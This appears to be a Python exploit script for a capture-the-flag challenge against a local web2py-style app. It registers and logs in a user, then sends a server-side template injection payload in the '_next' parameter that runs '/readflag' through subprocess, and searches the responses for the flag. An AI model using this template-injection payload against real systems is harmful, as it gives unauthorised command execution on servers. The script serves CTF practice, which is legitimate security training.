#!/usr/bin/env python3
"""
Register, login, and test post-login behavior with _next parameter
"""

import requests
import urllib3
import re
urllib3.disable_warnings()

BASE_URL = "https://localhost:5000"

session = requests.Session()
session.verify = False

print("[*] Step 1: Register a new user...")

# Get registration page
r1 = session.get(BASE_URL + "/welcome/default/user/register")
formkey = re.search(r'name="_formkey"[^>]*value="([^"]+)"', r1.text).group(1)

# Register
reg_data = {
    "first_name": "Test",
    "last_name": "User",
    "email": f"test{__import__('time').time()}@example.com",
    "password": "TestPassword123!",
    "password_two": "TestPassword123!",
    "_formkey": formkey,
    "_formname": "register",
}

r2 = session.post(BASE_URL + "/welcome/default/user/register", data=reg_data)
print(f"Registration status: {r2.status_code}")

# Now we should be logged in. Test accessing the API endpoint with SSTI in _next
print("\n[*] Step 2: Testing _next parameter after login...")

# Access a page with SSTI payload in _next
ssti_payload = "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"

r3 = session.get(
    BASE_URL + "/welcome/default/user/profile",
    params={"_next": ssti_payload}
)

print(f"Profile with _next status: {r3.status_code}")

if "uoftctf" in r3.text or "fake_flag" in r3.text:
    print("[!!!] FLAG FOUND!")
    idx = r3.text.find("uoftctf") if "uoftctf" in r3.text else r3.text.find("fake_flag")
    print(r3.text[idx:idx+100])
else:
    print("No flag in profile response")
    with open("logged_in_profile.html", "w", encoding="utf-8") as f:
        f.write(r3.text)

# Try logging out and back in with _next parameter
print("\n[*] Step 3: Logout and login with _next parameter...")

session.get(BASE_URL + "/welcome/default/user/logout")

# Get login page with _next
r4 = session.get(
    BASE_URL + "/welcome/default/user/login",
    params={"_next": ssti_payload}
)

formkey2 = re.search(r'name="_formkey"[^>]*value="([^"]+)"', r4.text).group(1)

# Login with the _next parameter
login_data = {
    "email": reg_data["email"],
    "password": reg_data["password"],
    "_formkey": formkey2,
    "_formname": "login",
    "_next": ssti_payload
}

r5 = session.post(BASE_URL + "/welcome/default/user/login", data=login_data)

print(f"Login response status: {r5.status_code}")
print(f"Response length: {len(r5.text)}")

if "uoftctf" in r5.text or "fake_flag" in r5.text:
    print("\n[!!!] FLAG FOUND IN LOGIN RESPONSE!")
    idx = r5.text.find("uoftctf") if "uoftctf" in r5.text else r5.text.find("fake_flag")
    print(r5.text[idx:idx+100])

with open("post_login_response.html", "w", encoding="utf-8") as f:
    f.write(r5.text)
print("Saved to post_login_response.html")